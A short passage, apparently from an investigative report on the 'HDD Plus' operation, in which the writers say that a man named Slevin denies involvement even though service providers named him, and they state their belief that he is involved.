He also denied all parties (website development, hosting, call centers, etc) who have pointed figers to him; yet these parties gave us his name and contacts without us first mentioning anything.

We don't know what for parts of this "HDD Plus" operations Slevin is responsible, but we're sure he's involved and chose to tell little of what he knows.

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